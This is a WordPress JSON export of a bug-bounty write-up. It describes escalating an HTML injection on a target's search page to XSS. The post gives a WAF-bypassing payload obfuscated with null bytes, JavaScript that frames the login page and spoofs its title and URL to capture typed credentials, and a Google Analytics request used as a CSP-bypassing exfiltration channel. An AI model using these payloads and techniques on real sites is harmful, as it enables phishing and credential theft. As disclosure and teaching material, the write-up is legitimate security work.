{"id":520,"date":"2025-10-31T13:03:26","date_gmt":"2025-10-31T12:03:26","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=520"},"modified":"2026-04-27T22:18:25","modified_gmt":"2026-04-27T20:18:25","slug":"waf-bypass-and-credential-theft-with-xss-and-google-analytics","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/waf-bypass-and-credential-theft-with-xss-and-google-analytics\/","title":{"rendered":"WAF bypass and credential theft with XSS and Google Analytics"},"content":{"rendered":"<p>Hello<\/p>\n<p>In this post, I will tell you how I was able to escalate the bug from HTML injection to stealing credentials via Google Analytics&#8230; well, almost \ud83d\ude09<br \/>\nI was testing the website and inserted &#8220;&gt;&lt;u&gt;aaa&lt;\/u&gt; into the main search bar without big expectations.\u00a0 I was really surprised when I saw <u>aaa.<\/u><br \/>\nNext step was to try XSS payload &lt;img src=&#8221;x&#8221; \/&gt;. What I saw in response was a 403 error. No luck.<\/p>\n<h3>Bypassing WAF<\/h3>\n<p>I ran Turbo Intruder in Burp, collected all HTML tags and attributes, and started fuzzing. Some HTML tags were allowed, but whenever I tried to insert some events such as &#8220;onerror&#8217;, I was always blocked with a 403 error :(.<\/p>\n<p>Next, I tried to bypass the WAF using special characters like %00, %0d, and %0a. Guess what? It worked \ud83d\ude42 That was the working XSS payload:<\/p>\n<pre><code>&lt;img%20src=x%20o%200nerror=alert(document%00.domain)&gt;<\/code><\/pre>\n<p>Ok, I could report it right away, but I decided to increase the impact. As the session cookie had the HTTP-only flag set, I could not read it with js, so I decided to steal credentials while the users logs in.<\/p>\n<h3>Redressing the page<\/h3>\n<p>Suppose the search page was on:<\/p>\n<pre>https:\/\/target.com\/search<\/pre>\n<p>and the login form was on:<\/p>\n<pre>https:\/\/target.com\/login<\/pre>\n<p>I had to redesign the search page to resemble the login page, add listeners that capture the credentials as the user logs in, and send them to the attacker&#8217;s site. I framed the \/login endpoint into the \/search page, styled it with CSS to match the \/login endpoint&#8217;s appearance, then changed the document title to match the\/login page&#8217;s title, and finally, changed the visible URL in the browser address bar and history.pushState() command.<\/p>\n<p>That was the code: to iframe the \/login page and style the \/search page:<\/p>\n<pre><code>\r\ndocument.body.innerHTML = \"\";\r\ndocument.body.appendChild(Object.assign(document.createElement('iframe'), { id:'frm',src: 'https:\/\/target.com\/login',style: 'position:fixed;top:0; left:0;bottom:0;right:0;width:100%;height:100%;top:0;left:0;bottom:0;right:0;border:none;margin:0;padding:0;overflow:hidden;'})); document.title=\"target.com | account login\";\r\nhistory.pushState(\"\", \"\", \"\/login\");\r\n<\/code><\/pre>\n<p>Now it&#8217;s time for listeners:<\/p>\n<pre><code>\r\niframe=document.getElementById(\"frm\"),iframe.onload=()=&gt;{const e=iframe.contentDocument||iframe.contentWindow.document,n=e.querySelector(\"input#loginUsername\"),o=e.querySelector(\"input#loginPassword\");n&amp;&amp;n.addEventListener(\"input\",(()=&gt;{user=n?.value||\"\",console.log(\"username:\"+user)})),o&amp;&amp;o.addEventListener(\"input\",(()=&gt;{pass=o?.value||\"\",console.log(\"password:\"+pass)}))};\r\n<\/code><\/pre>\n<p>Note, I needed to use the iframe onload event, so that the listener waits until the frame content is loaded. Otherwise, the code wasn&#8217;t working because it could not find the form fields. I prepared this POC with printing credentials on the dev console. Why?<\/p>\n<h3>Bypassing CSP<\/h3>\n<p>The CSP blocked the outgoing connections, and I was unable to exfiltrate this data in any way. Without this part, they could say that it is not a vulnerability, as the attacker can&#8217;t steal the credentials. I analyzed the CSP headers and noticed that the Google Analytics URL was allowed. This way, I could use it to exfiltrate the data as a Google Analytics event name. So I googled a bit and found this blog post:<\/p>\n<p><a href=\"https:\/\/labs.detectify.com\/how-to\/using-google-analytics-for-data-extraction\/\">https:\/\/labs.detectify.com\/how-to\/using-google-analytics-for-data-extraction\/<\/a><\/p>\n<p>The easiest way was to intercept the real GA\u00a0 request from my website to the GA server in Burp and change the value of the &#8220;en&#8221; parameter. This way, I\u00a0 could see the data in the GA panel as the event name. I removed all other parameters from the request here:<\/p>\n<p>&nbsp;<\/p>\n<pre><code>POST \/g\/collect?v=2&amp;tid=&amp;gtm=&amp;_p=&amp;gcd=&amp;npa=1&amp;dma_cps=&amp;dma=1&amp;cid=&amp;ul=pl&amp;frm=0&amp;pscdl=noapi&amp;_s=1&amp;sid=&amp;sct=1&amp;seg=0&amp;dl=&amp;<strong>en=exfiltrated_data<\/strong>&amp;_fv=1&amp;_nsi=1&amp;_ss=1&amp;_ee=1&amp;tfd=HTTP\/1.1\r\nHost: region1.google-analytics.com\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko\/20100101 Firefox\/144.0\r\nAccept: *\/*\r\nAccept-Language: pl,en-US;q=0.7,en;q=0.3\r\nAccept-Encoding: gzip, deflate, br\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=6\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Length: 0\r\nTe: trailers\r\nConnection: keep-alive\r\n<\/code><\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-533\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2025\/10\/Zrzut-ekranu-2025-11-04-060941.png\" alt=\"\" width=\"365\" height=\"410\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2025\/10\/Zrzut-ekranu-2025-11-04-060941.png 365w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2025\/10\/Zrzut-ekranu-2025-11-04-060941-267x300.png 267w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2025\/10\/Zrzut-ekranu-2025-11-04-060941-300x337.png 300w\" sizes=\"auto, (max-width: 365px) 100vw, 365px\" \/><br \/>\n<br \/>\nAnd this worked&#8230; partially. I mean, it was slow. While experimenting, the data appeared after one day in the GA panel. Well, I didn&#8217;t want to wait due to the possibility of duplication, so I decided to take the risk and send the report. I pointed out that creating a full working POC takes time using GA, so for now, I am providing a console.log-based POC. And they replied there, &#8220;No problem &#8211; the impact will be marked as High&#8221;. So I didn&#8217;t have to finish the full POC this time.<\/p>\n<p>Impact: High<br \/>\nReward: 500 USD<\/p>\n<p>See you next bug<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello In this post, I will tell you how I was able to escalate the bug from HTML injection to stealing credentials via Google Analytics&#8230; well, almost \ud83d\ude09 I was testing the website and inserted &#8220;&gt;&lt;u&gt;aaa&lt;\/u&gt; into the main search bar without big expectations.\u00a0 I was really surprised when I saw aaa. Next step was&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,32,42,29],"tags":[],"class_list":["post-520","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-bug-bounty","category-csp","category-write-up"],"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=520"}],"version-history":[{"count":15,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/520\/revisions"}],"predecessor-version":[{"id":537,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/520\/revisions\/537"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=520"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=520"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}